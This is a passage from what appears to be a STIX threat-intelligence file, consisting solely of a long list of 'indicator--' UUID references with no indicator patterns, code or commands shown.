        "indicator--b170e545-8da4-4a7e-8688-d621e7f5435b",
        "indicator--c33f457a-5548-4f5d-b443-854ab04ea657",
        "indicator--d4783afd-6dc4-486d-ba5a-02cad07d43df",
        "indicator--dc30a028-a9c7-4e11-b423-84264b3c002b",
        "indicator--0e7b6d3b-d342-4d22-940d-aaf91bf94db7",
        "indicator--581900e1-3e1d-499c-b324-55b0c1eff832",
        "indicator--cb28a7c2-b639-4015-9754-5a53bd8d0ae7",
        "indicator--615c77e1-f080-44e0-9282-f46ecf976f28",
        "indicator--e3663275-17e4-4412-8cce-24f63eb03d8a",
        "indicator--029c46df-25d0-4ea5-9220-521f1d3ce031",
        "indicator--8b74af26-0fc2-4095-899d-9ea023e000fe",
        "indicator--538daff8-76c7-41c4-9965-47822f36ac01",
        "indicator--bcda6eda-cba1-4347-ac1b-cf184eadfed7",
        "indicator--d013c52d-a1cf-41a8-b414-1b637335867a",
        "indicator--390207de-0ff5-416e-83ac-728cb032613c",
        "indicator--0d20d11e-cd22-40bb-9953-e4103a1212a0",
        "indicator--8a197349-7519-49d6-9fdf-93ff4f625ef0",
        "indicator--b9596bed-e8aa-4cff-809e-290a3b689737",
        "indicator--d6ab7d51-3dc5-4666-9c0b-c89111e82770",
        "indicator--4d74e957-d5af-401e-9589-4e3cf2a769a9",
        "indicator--b0f5dbf6-5804-4008-a401-d1688240db70",
        "indicator--94900f53-5cba-4710-97c2-1f5d2f50967c",
        "indicator--b0351d08-09b8-4fee-9820-0055e06504f6",
        "indicator--91bb8d16-34fa-4c3d-8aba-9d16a8463438",
        "indicator--4ca17af1-e1f2-4932-b9f7-6322e9732085",
        "indicator--1b53d707-d4f8-48fd-847e-4bf79e37ceb3",
        "indicator--745b3db0-7ee7-4c73-bfa6-e3b73dac1f73",
        "indicator--3d4300a4-0e97-4a97-9bf8-e0722bf089ba",
        "indicator--0253c9a8-ac4c-416a-94db-a22b93799283",
        "indicator--3d358aef-41c3-45be-873b-c32e297586f8",
        "indicator--57ac75d0-eb55-4a0f-91ce-391ccfbdcc05",
        "indicator--ce91794e-22db-4b7b-859f-d21b64500182",
        "indicator--e5cc26e5-c186-4d85-a202-e05940213dba",
        "indicator--77dd844e-0fdd-4164-9733-223a63655089",
        "indicator--35084917-ae5a-47af-b44f-419cda50d109",
        "indicator--59d0d353-c324-4d20-9ee6-9332e45f8889",
        "indicator--46a9185b-ee8a-4455-acc2-4faeacf1071c",
        "indicator--85c07391-833a-4cde-877a-cdcb558e1ab6",
        "indicator--9a425ba1-00d2-4c15-a2c3-530ce309922b",
        "indicator--63294be1-d48c-40ef-8036-778d2788d979",
        "indicator--6634042e-e27a-46ee-b304-9bc4797544a9",
        "indicator--a0935a63-47e1-433d-bf42-46170c249b71",
        "indicator--b4ed979b-a71e-4aed-b9d1-ce0035ee86df",
        "indicator--cb1287c0-6705-41f5-a9e7-96d46a683915",
        "indicator--9dde796b-3aa0-481f-a754-1c53b8d0e3d9",
        "indicator--1b09c507-7663-43a6-a336-5994b5cf1905",
        "indicator--016b4bf2-8164-4697-b72d-d332b3b965c7",
        "indicator--13373c49-82ce-48f9-bf34-649404e7ed32",
        "indicator--c3d38cc1-63f0-46f0-b5cb-60e1b5d37183",
        "indicator--5725fa2e-47a6-46e4-9702-3ef8ac08cccc",
        "indicator--3e0ad05e-d270-422f-b524-523df669989a",
        "indicator--13c49101-5841-41f8-8977-58bacd82219d",
        "indicator--99e8d4e0-1d63-4da3-ae79-4c2405b28d72",
        "indicator--e57af916-ea2f-477d-a0dc-51ba91596de1",
        "indicator--d033986c-a7f8-4d16-a7df-a626cf820c6a",
        "indicator--86083cd4-cfc2-43db-a22a-4ae7d5fae606",
        "indicator--640fe6c1-e77e-4d73-956d-a087a7c76080",
        "indicator--057d9c7b-6988-468c-a1ef-0105b4653114",
        "indicator--abf1bb5a-89c3-41d9-953f-c1e43f0652ef",
        "indicator--6cfb6e44-c9be-4028-9027-02505c0572d9",
        "indicator--47ecdea9-fc8d-4406-8f44-ba4e0dd797df",
        "indicator--c1a365f7-baf0-48ec-87a1-b6fa626b5e79",
        "indicator--e67a5118-c9ce-4ebd-8ae2-65634cf642fb",
        "indicator--d66394a6-cd81-4506-910b-f9c37f4e29d4",
        "indicator--79648d03-e98f-46c6-805e-4b71d6a6b0bc",
        "indicator--f295ac82-8364-487d-a09d-0f0e03cdb5f8",
        "indicator--fd16f2cd-bdec-44f6-9422-0e481cd1218b",
        "indicator--06146911-f05a-4a6e-99c3-f1dd98759d0a",
        "indicator--38dad8d5-b517-483c-97f5-671d5c1ebc39",
        "indicator--9bcd8251-6620-4894-a18a-d034adf30239",
        "indicator--2f2ec2e0-3eab-4076-9b71-5bc0096cf8c9",
        "indicator--78106a05-82ee-4ad4-8223-2369f1c48da1",
        "indicator--3f9367cb-7559-48f6-889c-e5dc8b8ef782",
        "indicator--9fd3beb1-d62e-4653-9f1c-c69043079d1e",
        "indicator--b40a9109-cd0d-4565-a1db-393e431ba4cb",
        "indicator--22cf9dd4-a26a-4616-b08e-2b4236e7eabe",
        "indicator--569edfdc-7a52-487b-89dd-44134c1fdcd6",
        "indicator--913dfc64-2d9e-4864-968a-a66daf9ec810",
        "indicator--c9a1f97f-f410-4f04-948f-3fedb2558940",
        "indicator--a9142bd0-1ef2-477c-9fa0-c22d8b288d00",
        "indicator--21cbec96-57ad-460a-8cd7-cc1597b9967c",
        "indicator--f36e7946-5751-44a0-b306-b9142ac3a879",
        "indicator--0ce3d0a5-c6d3-4d84-b45a-c5fd9bdbf7d0",
        "indicator--99141931-3ff9-45d9-be13-be9542130218",
        "indicator--1a8312a6-cb9c-42d3-9481-1480dd13a97f",
        "indicator--56ee6284-77dc-4d35-8238-08492da9d86d",
        "indicator--cdc2b746-51e3-4453-bbe6-9f667db7c070",
        "indicator--0ee84e85-65cc-42c0-9dd7-5865a2a49755",
        "indicator--4a5d3e48-2736-4d19-8369-2d66e2540589",
        "indicator--0cae3581-df8f-44ec-b871-a941434f993d",
        "indicator--8d0f6615-f6e5-4443-8ff7-7c5c391affa1",
        "indicator--349fbc80-7176-4a4d-92ad-d77dbaec48c3",
        "indicator--981fb70e-1803-4039-8666-95457865395e",
        "indicator--413cae29-99ae-4037-ba40-01837f453c39",
        "indicator--f4f1bb97-03f7-4ae8-a6ba-b8170b0b20a0",
        "indicator--55328993-bf8e-407f-a561-f927d69b0cc9",
        "indicator--994086ee-36c4-4f44-bd43-1cae1a1f32a4",
        "indicator--4bf62f2e-d14a-49cf-940d-1ba3eb243e10",
        "indicator--14663c23-7fe0-4e38-a717-f44520b43406",
        "indicator--53889c28-2853-41e5-8b5e-7604ab9d7f71",
        "indicator--2c9f75cb-2483-4194-9a3a-c2973101e040",
        "indicator--f7ae8a21-219e-4d04-95ee-9b9157156237",
        "indicator--ad608ccd-54bc-4e5e-87f5-26745e38b47b",
        "indicator--e1ce7ae7-45f9-4a8f-9675-8b53339d8c10",
        "indicator--e34b12ae-f3ff-40bc-8283-29c05b943593",
        "indicator--2d8b134a-724a-4850-bf36-3c434f9457d6",
        "indicator--6019388a-efef-477b-af45-2b8a2ecb72d9",
        "indicator--ea98bee8-267b-4e74-8954-4d012203ac20",
        "indicator--5fa17b82-d85e-42b3-a5aa-96714ac7d72c",
        "indicator--174fa6d7-034a-4fbb-b5f6-eb2cea1e0cf5",
        "indicator--dd6b4724-7fc6-4c1e-98fe-dbbdd434b58e",
        "indicator--adf0f5f7-f2c0-4414-b9de-1885c02d7bb5",
        "indicator--8bb0412c-e4bd-416e-9deb-b641d290f2a4",
        "indicator--5707c320-ad4b-4bf4-95ed-e6e6763bc127",
        "indicator--c91a8e5e-3677-4947-93b7-67eb8e5fb9a4",
        "indicator--c42a1527-30e8-4cd6-b3b4-6c0eb62ebdaa",
        "indicator--93e5e2c6-9837-4eb8-a499-64a3d8751b65",
        "indicator--221c5d37-a452-4eb9-a8e3-4f480e98f0ed",
        "indicator--629b5a89-d799-496c-a50d-c5c3e8107f36",
        "indicator--19f2e324-3a82-4ac1-8168-17ccf55a200a",
        "indicator--d549dbae-9eca-4483-b755-291e9be7050e",
        "indicator--dbe9abcb-098e-4605-8c2c-1f3529726c69",
        "indicator--fae44b99-becc-433f-8098-e1f66b86fccb",
        "indicator--3da23591-98c1-45a0-94a1-f523402bd49e",
        "indicator--bbdeb0d0-3307-4126-a44d-a57f5615a92d",
        "indicator--4c4b382b-20d4-48aa-b7a3-058a3ac8bd96",
        "indicator--f0c7a519-376f-4d0b-a0bf-6b013135613c",
        "indicator--dfdc2ee8-5bf6-4118-9d9a-ef8659b155ff",
        "indicator--c5b077ba-70ea-4325-bf4c-d6dca6778ee3",
        "indicator--91cbe92a-ef70-4956-b0cd-474c67efbdb2",
        "indicator--9ba3fa51-04a7-4f32-81c8-b9f3271e72f8",
        "indicator--fbf9e6b6-8ea2-4be1-8643-6afc4017de91",
        "indicator--5253ed0b-40f2-4b77-ad2e-88fe0034cc33",
        "indicator--78d83bac-d6b0-4aef-a9c3-5582b4419a82",
        "indicator--0b09f7db-8b73-46d9-a5fe-6c1ca8b0c656",
        "indicator--626a071d-0eea-40e1-9bb9-65004c1127a7",
        "indicator--1a4f6052-977a-474c-8381-cb40ad991c65",
        "indicator--5cb1057a-cf54-41d5-8219-00a9ab5478b2",
        "indicator--503c74f0-fe7d-4974-9e68-071309ea9a2d",
        "indicator--336bba85-e4e3-4c1f-9fa0-43e56783bec7",
        "indicator--d6a6bd9b-0918-4089-a793-da881f9e1f39",
        "indicator--f071db07-1d19-45da-b1a3-5af3199b6d54",
        "indicator--c618754b-975d-41ea-af15-825004c5e2e7",
        "indicator--0c8919b8-77e9-45f0-a389-f4449572daf7",
        "indicator--07e6b4d6-14f5-424a-a7c6-f15e5e05f62a",
        "indicator--09bf6c49-7ba3-441d-b362-c7aa076e70a9",
        "indicator--3e77ed7f-1527-40b0-ac92-2a8556e0fa36",
        "indicator--91a06d74-53c2-4ed8-96f9-c54cae6c63b0",
        "indicator--bc841866-fa95-46ba-a135-5c1588051fda",
        "indicator--65182609-536c-4c8d-a45a-4786ca449531",
        "indicator--8719da14-c0c5-4c46-abdb-b41b8483705e",
        "indicator--62f11096-4357-4e48-ba8e-0c982f929695",
        "indicator--ed7d6c1f-fff6-4190-abe6-2a822d684784",
        "indicator--af23623d-9ee4-4188-adaa-50d2e2b332bc",
        "indicator--0c5ce53e-7f5a-4f39-b738-00b6a8653d58",
        "indicator--6eea1971-9bf8-47a1-b4cf-8821bd43cc4b",
        "indicator--b57823c0-3cd3-49a6-8019-6267bacf43dc",
        "indicator--975e6d43-7e5f-4cf8-815e-f94dc55d8904",
        "indicator--6fc0f00d-d2f0-4edb-b10f-cac9dc07d567",
        "indicator--53407cd9-1529-432b-8cc5-661858a4e4f2",
        "indicator--f880653f-572c-4817-96ad-a7fb59b0fbca",
        "indicator--0b5bf5ae-1bfb-438d-b797-2e399c8f0bf0",
        "indicator--988f2ee7-940e-423f-be2c-05413223c553",
        "indicator--9b5f9d65-d5a9-4ef4-8e07-3795f836b715",
        "indicator--c28a2248-0252-45e9-96b6-ae659a36e885",
        "indicator--5cc6428c-cb43-42a7-807c-c6edc45e6b03",
        "indicator--505ae772-7389-4e65-8339-2214bc36f6ac",
        "indicator--7762b9a5-6893-42a4-9b2a-0bc36dfd7845",
        "indicator--a114362d-7881-44da-9237-d901d4baca8e",
        "indicator--51ad01c9-b7bf-4cfc-a6f2-d32bb5e7fec8",
        "indicator--3adb9bce-f9df-4dc0-97ef-44268685fd2d",
        "indicator--2ed74834-bc9e-4323-acfc-a0601e75b973",
        "indicator--01455fbf-3b68-433f-871b-b74502b4ae96",
        "indicator--81d5fa00-4f1a-4173-9eee-b9787eef77d2",
        "indicator--65677f78-bdcf-4771-be5e-71b1d6b8004a",
        "indicator--ce8534f4-1286-4f1f-93eb-4faeffd43ce7",
        "indicator--15650ed6-cced-483f-9ecd-8770c1e3f4e6",
        "indicator--a3e3ab51-fbbb-4e7f-a3d3-c1697b990bb9",
        "indicator--78351ae9-5dbe-42d6-bc53-59ab3f46c363",
        "indicator--c3b7c4b4-d23f-4654-950f-24acb44a5270",
        "indicator--43b3f7a1-6aed-4883-88ad-1bb5229cf7b7",
        "indicator--8dcd3b94-3d44-4aba-a4a3-5aa2370b5bc3",
        "indicator--df776ede-e287-4408-ad8c-6a064c63244e",
        "indicator--f890a156-5e8f-4c3e-9d59-c02a131f0191",
        "indicator--5d711ad2-d6aa-49c6-affa-8bc4e3a11505",
        "indicator--218b404e-b719-4c8b-9305-95ac70b6c057",
        "indicator--3d77995d-d25d-4c66-857e-f680da0cfcf1",
        "indicator--41654d4d-6098-463b-bf2d-2d3ae367bdbe",
        "indicator--9571eaf1-dc28-4c28-8b5c-c6cbb8bccdf6",
        "indicator--ff7780ec-e4d1-4ba5-9a94-d0481da5a93d",
        "indicator--977da10a-391d-4fba-8a01-0faacd3e940f",
        "indicator--0bd5ed61-d3ae-4288-b1fd-7d8000c8accb",
        "indicator--3837a970-e1c4-47c6-b9e2-d6711f5cb82f",
        "indicator--53b59a91-af02-42f0-ace9-2ceda149a4b6",
        "indicator--651ada30-d2dd-4a63-8ecf-4e549f77588a",
        "indicator--6309ea6d-5ccb-4679-9628-743e5d4fe8a5",
        "indicator--bdec9cff-6122-4f3d-a9fe-e2eb881f41c8",
        "indicator--a9b84e3b-4933-4f7c-a06a-fcbc7b76ce95",
        "indicator--43d27c80-b61f-4233-a18f-bb73fd070cec",
        "indicator--029edd7d-6b28-450e-bbad-c94233a9b755",
        "indicator--593872b2-ebb1-477c-b6c6-1458829dc1a2",
        "indicator--1ff2f31a-2b24-4380-95c3-ae29cf6013e4",
        "indicator--0927ed0e-cc78-456d-b454-e1809631e3d0",
        "indicator--8f3a1517-77e5-4347-8ecb-39a9ea8a2701",
        "indicator--4273acbe-0081-4b56-acd8-db857d3c1685",
        "indicator--6d9bacf2-52c4-401e-8a9b-e9a9c862121d",
        "indicator--2431dd47-4a86-4cb8-bb51-f4fb96fefedb",
        "indicator--d5f19166-1494-4f54-a48c-7b6418999b0d",
        "indicator--d05bfb9d-bfc4-4065-a742-515a48775f68",
        "indicator--8d915ae3-8376-420b-b09b-b78838b6b0c2",
        "indicator--a804c374-f9ef-4096-bb4d-44794b9fe8e4",
        "indicator--1a908bf6-df69-49a4-bbe6-0f777eee53bc",
        "indicator--c89bcb00-808f-4de3-90ec-a00574004bc5",
        "indicator--08934c6b-322b-46c1-bffb-14f7f949d41e",
        "indicator--16c289d2-5040-4e03-8e41-9b253f63bdb0",
        "indicator--a36268b2-7620-411c-a305-7bbca7111c5d",
        "indicator--6ab4d014-6412-4e23-b0e8-ed8dad7f0519",
        "indicator--b424904a-bd81-4ef5-b5c3-1861f097c82b",
        "indicator--0f1c061e-70cf-40bc-8f37-58e4e2a55d21",
        "indicator--eaa025dd-ab90-4daa-a9eb-e5568587b29f",
        "indicator--977bc5e5-cc8d-45a4-b64c-cadd7fee2993",
        "indicator--d2eebee4-3f0c-4ad7-84f5-67593fb08f5c",
        "indicator--b7dd80f0-0d63-4a6e-8f25-b76da9cfca01",
        "indicator--41c95369-da67-4ace-8853-bde989e6eb76",
        "indicator--214aa2aa-2989-4c2d-b93e-60ccf9cd77cb",
        "indicator--b7fa5d27-9bb2-443b-8a85-1777b2dd8e9e",
        "indicator--31d66f0b-bde9-486a-9c1d-a634f2e546bc",
        "indicator--80c750e2-481e-42da-a133-d8867b55c241",
        "indicator--25309022-2154-4df7-9932-de107b111f2e",
        "indicator--3a254472-a628-4ef8-a0cd-7bfc92032693",
        "indicator--4fdb6d05-4478-46c6-8736-83815bcc96ab",
        "indicator--6e823a68-e13e-4e55-826d-ff3736747a66",
        "indicator--b12d17f7-3a07-4ec4-883a-cbbd68d73012",
        "indicator--76981fbb-7570-4be9-96af-c4702e34b345",
        "indicator--311fe62b-5fe5-4de0-927e-88306e48b4f8",
        "indicator--602c5543-7ef1-43a0-9926-7ae0410e6bae",
        "indicator--81622e92-e58f-4443-b940-41bfcb8c908e",
        "indicator--cc8960e5-6a42-4ce4-9071-63d2c58e7815",
        "indicator--7f0d0f3d-1ba0-4046-a06b-9112e00a2d8c",
        "indicator--8b6a2590-09cf-435c-8faf-9fd36ab984be",
        "indicator--9872ba20-8dcb-46e6-86cd-c37a7523b7d5",
        "indicator--5c823fee-3bfd-4a7d-bd77-473873761202",
        "indicator--4e2450c9-13dc-4d8b-8d9d-279f912497af",
        "indicator--d824eaec-ed7b-42c8-b036-2596380c440a",
        "indicator--a0007405-854b-41ba-bdbb-4c3925e99cb3",
        "indicator--223d8864-df59-4f6c-b92d-293f03889346",
        "indicator--4caf4fff-c575-439d-a88f-4bd15310f137",
        "indicator--57aca58f-2438-4e73-844e-8eace143be62",
        "indicator--47c0f694-d466-4ede-b20f-ebd210b87325",
        "indicator--edbd0d4f-f6f2-4a8d-8cb6-7a87724fa014",
        "indicator--26d783ed-8649-4106-bd1f-a673cb69e09f",
        "indicator--b2c288a5-3948-489c-a234-1a86eeb17e48",
        "indicator--2a4d3ba7-24a3-4ee6-91cf-f84250854467",
        "indicator--a7bd9725-e481-43b1-ab3d-db6e21486ac1",
        "indicator--22e02b56-17ee-4a10-a26a-22fca4cb0e6a",
        "indicator--b5b3b1c1-a4d4-461f-88d3-4966ce536d0a",
        "indicator--0f2df13e-8a4e-4000-af49-08485ad6a5fc",
        "indicator--a7dd7378-94f4-4ff5-8ed5-7d8e8b50be9c",
        "indicator--e1675e91-c655-4d52-8ceb-5e999bdfae2d",
        "indicator--4928a144-9073-47d4-a1f3-7cdace4fcfb7",
        "indicator--f69c03c9-6399-4aa8-914a-8538468a12be",
        "indicator--bbe8b66d-c8ab-4606-83aa-33f5cc70a641",
        "indicator--2a6ff276-4f34-472b-a69a-dba6dc683ec0",
        "indicator--d5632be6-afc6-424c-b48c-f7730de275e5",
        "indicator--15a1ebb9-6153-4667-82f7-43c001992122",
        "indicator--207bcc54-7fe1-4bc3-89c0-baa4128ad18c",
        "indicator--fbda7b82-d3f1-4d6b-b87c-a75cf688b5b7",
        "indicator--f12963c4-a036-4d14-a3ba-c32178c282be",
        "indicator--02f764d8-101d-48c1-aa01-d57f1a2f7bca",
        "indicator--ec97020c-b6c9-4028-9dc5-1a4e9fd6f39c",
        "indicator--24114aa3-a564-4f58-b083-59a2dc842a38",
        "indicator--56cc4d33-9b6c-4306-b8ac-b7dac4b3aa05",
        "indicator--81f96c77-d249-46cc-96a0-9fe09a618ae4",
        "indicator--6f9d2c63-f77c-4388-a626-ad06469aaa92",
        "indicator--fc0f1455-1436-4447-8632-d3dca1fd6776",
        "indicator--66929be4-8eee-41a0-9430-1e1b101ae524",
        "indicator--ec581862-16bc-464e-89ef-cb22341c108a",
        "indicator--423bd295-f2cf-4a66-bdd6-2533d80ab3c9",
        "indicator--6c9a074c-7ef6-4e40-a780-529de4882954",
        "indicator--5d4be946-fb23-413e-adc2-eeabaa5fae86",
        "indicator--138a050c-afd5-455a-845a-d4b93bc95d6e",
        "indicator--71da7303-a97f-411d-9340-fb5180a8ced3",
        "indicator--86285ffe-ff16-467f-b620-0676acc6e2f3",
        "indicator--ed420a5b-79ca-45f3-9c16-1ca75fe98301",
        "indicator--50709f59-da31-4a49-add8-d4bc176f525b",
        "indicator--6dd81a17-c33e-44ca-8580-4b3fc3ccc45a",
        "indicator--629fc8bb-cd77-43fd-8ee7-8fd80aea7a5a",
        "indicator--2b1c0833-f598-4f41-a1aa-c0be48985eca",
        "indicator--d92c9808-b1c4-4807-9ba3-a0ee625f0e2f",
        "indicator--f2814a87-c9e4-40bf-82e2-2a0325f417f8",
        "indicator--bdd3dc73-7aa7-415f-9ef2-9f33603481fc",
        "indicator--1f350faf-9072-4ff6-95d8-96446d03208a",
        "indicator--4f41f0ce-404f-40f6-bf28-b79e46d156ea",
        "indicator--64186274-3733-45ad-9078-9a52ae269214",
        "indicator--b21a17c0-dfda-4cfb-b7eb-9b66e8551ad0",
        "indicator--dd906dd2-ba4b-4c62-b791-90f30336d05d",
        "indicator--57e82115-ad0c-4575-a924-7435922c7970",
        "indicator--6d9d880f-260c-4f3e-85d6-9ac39f4e9eae",
        "indicator--8de90f69-5d52-45a8-b36c-3ea698c5dac7",
        "indicator--1eb8b42e-e2f0-4cc2-b7c8-36775bd69632",
        "indicator--5e6daca0-3113-4b3b-b6c9-bb06db50f36a",
        "indicator--62b0730f-5a34-497a-be7d-13f39e219068",
        "indicator--a6daaf45-0761-4598-a1a7-5208380c078c",
        "indicator--8bedb227-a7b3-46db-8d7a-18ea2b8770d6",
        "indicator--c89cdbf3-2823-4e34-96c9-ae3447764195",
        "indicator--c6074a2a-2893-4343-ab93-5333e6de8b34",
        "indicator--de9a8ccd-5f16-4d61-8831-c276f280f44a",
        "indicator--8b8768a1-a2cf-4eb0-b0f3-789a931fa638",
        "indicator--06b52383-0e15-482b-8ca3-d10096eb0587",
        "indicator--3f7a5436-d01d-4928-83c8-8695799e7882",
        "indicator--f9c0f467-8afb-41fe-a415-21a996ea34ae",
        "indicator--a47c14c5-9c1d-45ef-9e1d-2138ee628bce",
        "indicator--4075ea9b-d4dc-42b8-9277-026ef92c3589",
        "indicator--294109b5-ea90-40bc-825a-61f0f43fc3ed",
        "indicator--c1e3a8f7-5f48-4f68-9fcb-3b139e65e5bb",
        "indicator--0a161678-6046-4697-b322-8d513e293ef7",
        "indicator--dcb893e9-a005-4be4-8c11-b3b33465f216",
        "indicator--2a13d185-5436-45aa-b82b-77bce5b33297",
        "indicator--5ad70606-6948-44f9-b57f-e56eeb62e2f5",
        "indicator--adde9755-1672-4bb1-bacd-c5d1969505ab",
        "indicator--c1f25a2a-a7e0-432c-9a97-a7d87d36e2b1",
        "indicator--182707d2-c789-40c8-b64d-ad3a5df02447",
        "indicator--11471f8f-4510-4969-a7b3-733cdea64a2a",
        "indicator--76de0f7e-4688-4d37-8d80-a40e2a5d645d",
        "indicator--2b2fbe26-dc1c-4d9a-9d7f-d73346eb655a",
        "indicator--ff2c1914-a898-42ed-a335-ad8dc0e14d23",
        "indicator--a45fed6e-499b-40c7-8c5d-5e052b1f76af",
        "indicator--27a69012-52e9-419f-8a68-4a184ab28d38",
        "indicator--6ad88b71-dc40-4036-92d0-cc07b4b20127",
        "indicator--4e44c93a-db93-4452-8178-8d06ea3e653a",
        "indicator--e2a2fd0f-58b3-4062-823b-124ba609871d",
        "indicator--a872bf92-1791-4c4f-b64a-f2ca0831e792",
        "indicator--7e4063a8-e74e-4e55-bddd-bb5662e6783b",
        "indicator--78aa5139-45ea-4116-bc7b-4911a6c94cd7",
        "indicator--cbd6a536-c223-498b-9549-2e152690dea2",
        "indicator--d10d20be-acf9-4a78-afb4-a7830ee0417d",
        "indicator--639796bd-3ca8-492e-8cbc-b3fd92a69ea0",
        "indicator--4af0ec09-292b-43c5-8967-c50d95de8374",
        "indicator--d980b45f-e426-4384-9488-18c20d24bdaf",
        "indicator--9a65e3bf-d567-4940-be54-9a2744dc4bde",
        "indicator--c34064fb-c66e-47b1-83cf-32ee71795fa4",
        "indicator--537442c2-ff6b-4137-abcb-fe200bf2c900",
        "indicator--7666d45f-d7f1-49f4-baca-1b92d481b139",
        "indicator--b6b3a21d-0e21-42df-b808-b31ed722ff4b",
        "indicator--ea819413-8f97-42f6-8d64-61cbd235e0e5",
        "indicator--9d829eaf-cac0-4b4a-9c5a-fd1fa6f65feb",
        "indicator--57eae7f8-7def-4042-be30-0d70181f4535",
        "indicator--4dba32c5-655b-4154-b854-12a8e605aabe",
        "indicator--76dd97a8-b076-4306-8ec1-6cabfa7ff67c",
        "indicator--2f04636d-b3a5-4511-aaa5-6f305d587080",
        "indicator--73bc0659-850f-4e55-a287-891e832b8096",
        "indicator--aa784ed9-5acc-4e6b-a33f-98d606cf9e23",
        "indicator--553f5768-3318-40f1-a914-d0d714444739",
        "indicator--b4a1d3bb-fa91-41e5-8d58-103b9faac8fe",
        "indicator--7a146849-30a7-46bd-ba8b-79b69cf54e9a",
        "indicator--9bf80dd7-0b7b-46c5-bd9e-521fdccfd69a",
        "indicator--93e73b7f-aa94-47a3-95b2-a7abdcb73b5b",
        "indicator--11084ebc-5ed4-4a93-9c17-7a4848bd9e5c",
        "indicator--96585abc-096f-42c1-9d80-e71f3e6f20b2",
        "indicator--cbb1f552-224d-4c23-8adc-92f339df2d8b",
        "indicator--5992e3b9-9d6c-4147-a623-84e05f83bdf3",
        "indicator--8369e777-0b70-4342-874c-2ac3226f62f1",
        "indicator--5eb4c354-7518-4d37-b09a-900ef74ac85f",
        "indicator--bc1e51bb-d2af-4710-9ab4-80312e01944a",
        "indicator--a36e1dd1-2a76-454e-8698-a82d7f92a50b",
        "indicator--79a701d4-8105-44c6-bd58-3399b9225160",
        "indicator--45850e2e-282e-4b89-b735-30e6eecebb04",
        "indicator--d1ae40b7-7bd4-41ed-809e-8c4d924e7a07",
        "indicator--eb992852-3a29-4a7f-99f4-3260966db099",
        "indicator--00660b45-b918-4bbc-8dfd-4638949c22ff",
        "indicator--4a8ea36a-a792-4fc7-a246-8f7d1095e94e",
        "indicator--8d8be285-130e-45b0-9db9-ad004e78d570",
        "indicator--4b8f07a5-1eea-4edf-b29e-54b7d1c8746f",
        "indicator--62bcbbcb-a448-49df-ade1-c6de52a56137",
        "indicator--b88b2fd2-df33-4035-a7b6-0687894d8321",
        "indicator--75405d77-398a-459f-b987-2fa3bb2843b0",
        "indicator--02a86067-9eb7-4f45-b9b3-ab12d6152c6b",
        "indicator--811359b6-ae27-4843-9545-88d9a92dcb29",
        "indicator--0f25348c-814a-4351-8aaa-c46259b04680",
        "indicator--57c50e01-0711-48a0-9236-921ac9cf673c",
        "indicator--9ca33123-5392-449b-a8ba-0404cebfe330",
        "indicator--0ef8c91c-3217-484b-9d46-eb15ce7553cb",
        "indicator--cc08d9f5-3aa8-4749-8281-a090f2970158",
        "indicator--7169aec1-8ccd-4eaa-839f-a62b20d8865d",
        "indicator--412c604a-6dac-4751-8491-aa6efc8ec68e",
        "indicator--9f6aebc1-afc5-4a74-b061-16692d0ee2ac",
        "indicator--deb70dd9-591c-41a1-8e8a-d83e19286a15",
        "indicator--d1223a90-56d9-4604-a25e-2fa722ae59ee",
        "indicator--43de227f-e684-4ee9-8051-1d3c7658e5c3",
        "indicator--a3455a2b-e1d2-4476-9a98-086e86136049",
        "indicator--bfae77f7-efb8-4156-a899-2c5c964ef309",
        "indicator--1bbd3aa8-08da-4127-afbb-228e3c9ee78e",
        "indicator--26e129f2-ac8a-4b8f-8f76-8145e29e0f29",
        "indicator--8adac513-7fba-46a2-8630-f63ef2d88d40",
        "indicator--eb291cfa-ef13-414d-9f77-915d7c620379",
        "indicator--ced0df54-da2d-4352-9e9d-1c5c973bea5b",
        "indicator--18003166-e91c-4cce-a83b-d4ffb9599062",
        "indicator--f741fb83-a402-4d95-bd50-61feec83b50c",
        "indicator--24c2dcc4-a792-4a32-84e3-72767932e9f6",
        "indicator--affec0bc-257b-41e3-a983-8964afbbde71",
        "indicator--d6006725-081e-4618-abbc-8155f8083c69",
        "indicator--c37b4d54-b638-4897-b3b9-5724ae4454ac",
        "indicator--5224b155-e00f-4d32-8fbd-f1a5d12ed957",
        "indicator--f4d813a4-b10b-443b-a236-132f7950a2af",
        "indicator--ffdf6ac7-8697-4902-9a09-aa43c520e26d",
        "indicator--0a67aec2-f6de-4e5c-90c3-7fef443fffdc",
        "indicator--2d691a6c-6076-4ba4-963b-b1ddd43c2dd3",
        "indicator--c25a7075-fd62-453f-a17d-af65363cbf49",
        "indicator--eae72264-9825-4199-9ed5-5e70c3bfca43",
        "indicator--2f14aa99-aa53-48c2-80db-f06765fb1be4",
        "indicator--d99fad87-3819-42ab-9b4a-7948c4a556bc",
        "indicator--a516f8b0-5183-42b9-b57d-36c2b1fecc40",
        "indicator--b1a36896-3e52-4938-8819-c19e4f2ff757",
        "indicator--cc28dda6-096c-4e89-8f15-38b9495bb04c",
        "indicator--f0912112-b13a-4795-93f0-3949ae5c98e8",
        "indicator--27908136-4526-4a2b-8012-335d4bf11d88",
        "indicator--3eef7f70-ea12-4dc4-86ae-4fe5c3e96484",
        "indicator--727b9b1b-7e72-4b1b-bdca-8c47b9e20a3a",
        "indicator--a232bd29-693e-40d2-94d6-e9a7cab0e9aa",
        "indicator--2dca7bc7-3320-4bf0-8c17-ac15465ef168",
        "indicator--64e8e887-56a3-4782-a5f8-3572aebe21ac",
        "indicator--8af56575-8653-46d2-a9dd-e1c589a883e7",
        "indicator--77533c1f-4da7-4c57-9d41-2cfcbf436490",
        "indicator--9c2acf61-8fd9-4ef1-850b-c52f0be3199b",
        "indicator--b2df5b47-6e4b-4d4e-b91b-2f7341fa5fa6",
        "indicator--a6141eca-dccf-4f23-9a39-f4e9579bbadf",
        "indicator--011161e7-2519-4d07-95d5-2cc1420ec88a",
        "indicator--ac09bcab-c2d1-4c26-84f5-3a5638dc88c8",
        "indicator--baec7491-3829-4c5f-81d3-01be023ad9d6",
        "indicator--9d5c6202-c25c-44cd-bd80-9c0d38f2a6e5",
        "indicator--17f0557e-2305-4677-929d-05b8df41024a",
        "indicator--e1e1c4b6-c31b-415e-96c5-fd232f135d5d",
        "indicator--03e9bcf9-b9d2-40b9-b1c9-ea626b03875c",
        "indicator--c54adea9-3b18-455e-811d-4e449733eef1",
        "indicator--7c77ebad-7841-45fe-9aa5-86a783b71aff",
        "indicator--e523dc43-2c00-411d-b7c1-be982ad4497c",
        "indicator--90701e41-42a6-49c4-998f-77a774b383db",
        "indicator--ac1f8dcc-ba7b-4f82-b55e-9e40c88f53df",
        "indicator--42c5049a-1a5e-441e-810d-68fc16acc20f",
